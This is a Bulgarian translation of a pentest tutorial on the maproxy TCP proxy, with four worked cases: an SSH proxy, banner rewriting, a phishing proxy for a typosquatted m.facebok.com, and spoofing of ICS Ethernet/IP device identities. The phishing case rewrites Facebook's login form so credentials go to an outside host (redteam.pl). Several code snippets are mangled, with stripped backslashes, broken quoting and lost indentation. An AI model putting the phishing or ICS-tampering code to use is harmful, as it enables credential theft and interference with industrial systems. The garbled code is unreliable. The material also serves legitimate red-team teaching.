Обработка на мрежови данни в реално време

Преводът на статията е подготвен в очакване на старта на курса «Пентест. Практика на тестиране на проникване».

Резюме

Разнообразни видове оценка на сигурността, започвайки от редовно тестване за проникване и операции на Red Team до хакване на IoT/ICS устройства и SCADA, включват работа с бинарни мрежови протоколи, т.е. по същество перехващане и модификация на мрежовите данни между клиента и целта. Сниффинг на мрежовия трафик не е сложна задача, тъй като разполагаме с инструменти като Wireshark, Tcpdump или Scapy, но модификацията представлява по-трудоемка задача, тъй като ще ни е нужен специфичен интерфейс за четене на мрежовите данни, тяхната филтрация, промяна в реално време и изпращане обратно на целевия хост почти в реално време. Освен това, би било идеално, ако такъв инструмент може автоматично да работи с множество паралелни връзки и да има възможности за персонализация чрез скриптове.

Веднъж открих инструмент, който се нарича мапрокси, документацията бързо ми показа, че мапрокси – точно това, от което имам нужда. Това е доста прост, универсален и лесно конфигурируем TCP прокси. Тествах този инструмент на няколко доста сложни приложения, включително ICS – устройства (които генерират много пакети), за да видя дали може да работи с многобройни паралелни връзки, и инструментът се представи добре.

Тази статия ще ви запознае с обработката на мрежови данни в реално време с помощта на мапрокси.

Преглед

Инструмент мапрокси базирана на Tornado – популярен и развит асинхронен мрежови фреймуърк на Python.

Като цяло, той може да работи в няколко режима:

• TCP:TCP – нешифровани TCP връзки;
• TCP:SSL и SSL:TCP – с еднопосочна криптиране;
• SSL:SSL – двупосочно криптиране.

Той се предлага под формата на библиотека. За бърз старт можете да използвате примерни файлове, които отразяват основните функции на библиотеката:

• all.py
• certificate.pem
• logging_proxy.py
• privatekey.pem
• ssl2ssl.py
• ssl2tcp.py
• tcp2ssl.py
• tcp2tcp.py

Кейс 1 – прост двупосочен прокси

Основавайки се на tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

По подразбиране ProxyServer() приема два аргумента – местоположение за свързване и целевия порт. server.listen() приема един аргумент – порт за прослушване на входящата връзка.

Изпълнение на скрипта:

# python tcp2tcp.py

За да проведем теста, планираме да се свържем с локален SSH сървър чрез нашия прокси скрипт, който слуша на 2222/tcp порт и се свързва към стандартния порт 22/tcp SSH сървъри:

Приветственият банер информира, че нашият пример за скрипт успешно е проксирал мрежовия трафик.

Случай 2 – модификация на данни

Друг демо скрипт logging_proxy.py перфектно подхожда за взаимодействие с мрежови данни. Коментарите в файла описват методите на класа, които можете да модифицирате, за да постигнете целта си:

Най-интересното тук е:

• on_c2p_done_read – за прихващане на данни по пътя от клиента към сървъра;
• on_p2s_done_read – в обратната посока.

Нека опитаме да променим SSH банера, който сървърът връща на клиента:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Изпълнете скрипта:

Както виждате, клиентът е бил заблуден, тъй като името на SSH сървъра е било заменено с «DumnySSH».

Случай 3 – проста фишинг уеб страница

Съществува безкраен брой приложения на този инструмент. Този път да се фокусираме върху нещо по-практично от областта на операциите на Red Team. Нека имитираме лендинг страница m.facebook.com и да използваме персонализиран домейн с умишлена правописна грешка, например, m.facebok.com. За целите на демонстрацията просто да предположим, че домейнът е регистриран от нас.

Ще установим нешифрирана мрежова връзка с нашия прокси на жертвите и SSL Stream за сървъра на Facebook (31.13.81.36). За да заработи този пример, ни трябва да заменим заглавката на HTTP хоста и да внедрим правилното име на хоста, а също така да изключим компресията на отговорите, за да получим лесен достъп до съдържанието им. В крайна сметка ще заменим HTML формуляра, за да се изпращат данните за вход към нас, вместо към сървърите на Facebook:

[…]
def on_c2p_done_read(self,data):
 # замяна на заглавката Host
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# деактивиране на компресията
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # частична замяна на отговора
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

В крайна сметка:

Както виждате, успяхме да заменим оригиналния сайт.

Случай 4 – Промяна на Ethernet/IP

Дълго време съм работил с индустриални устройства и софтуер (ICS / SCADA), като програмируеми контролери (PLC), модули за вход-изход, задвижвания, релета, стълбови среди за програмиране и много други. Този случай е за тези, които обичат индустриалните неща. Хакването на такива решения предполага активно взаимодействие с мрежовите протоколи. В следващия пример искам да покажа как можете да модифицирате мрежовия трафик на ICS/SCADA.

За целта ще ви трябва следното:

• Мрежов сниффер, например Wireshark;
• Ethernet/IP или просто SIP устройство, можете да го намерите с услугата Shodan;
• Нашият скрипт е базиран на мапрокси.

Първо да видим как изглежда типичният идентификационен отговор от CIP (Common Industrial Protocol):

Идентификацията на устройството се осъществява чрез протокола Ethernet/IP, който е разширена версия на Ethernet протокола за индустриални цели, увиващ управленски протоколи, като CIP. Ще променим обозначеното идентификационно име, видимо на скриншота «NI-IndComm for Ethernet» чрез нашия прокси скрипт. Можем да преизползваме скрипта logging_proxy.py и по аналогичен начин да модифицираме метода на класа on_p2s_done_read, тъй като искаме на клиента да се вижда друго идентификационно име.

Код:

[…]
 def on_p2s_done_read(self,data):
 # частично заместване на отговора

 # Проверка дали получихме отговор от List Identity message
     if data[26:28] == b'x0cx00':
         print('Получен отговор, заместване')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
 […]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

По същество, поискахме идентификация на устройството два пъти, вторият отговор е оригиналният, а първият е модифициран на момента.

И накрая

Според мен мапрокси е удобен и прост инструмент, който е написан на Python, така че смятам, че и вие можете да се възползвате от него. Разбира се, съществуват и по-сложни инструменти за обработка и промяна на мрежови данни, но те изискват повече внимание и обикновено са създадени за конкретен случаен сценарий, например, Muraena, Modlishka или evilginx за случаи, подобни на третия, или canape за последния случай. Както и да е, с помощта на мапрокси можете бързо да реализирате идеите си за прихващане на мрежови данни, тъй като примерите на скриптовете са много ясни.

Тестване на механизми за удостоверяване в Windows AD

Източник: habr.com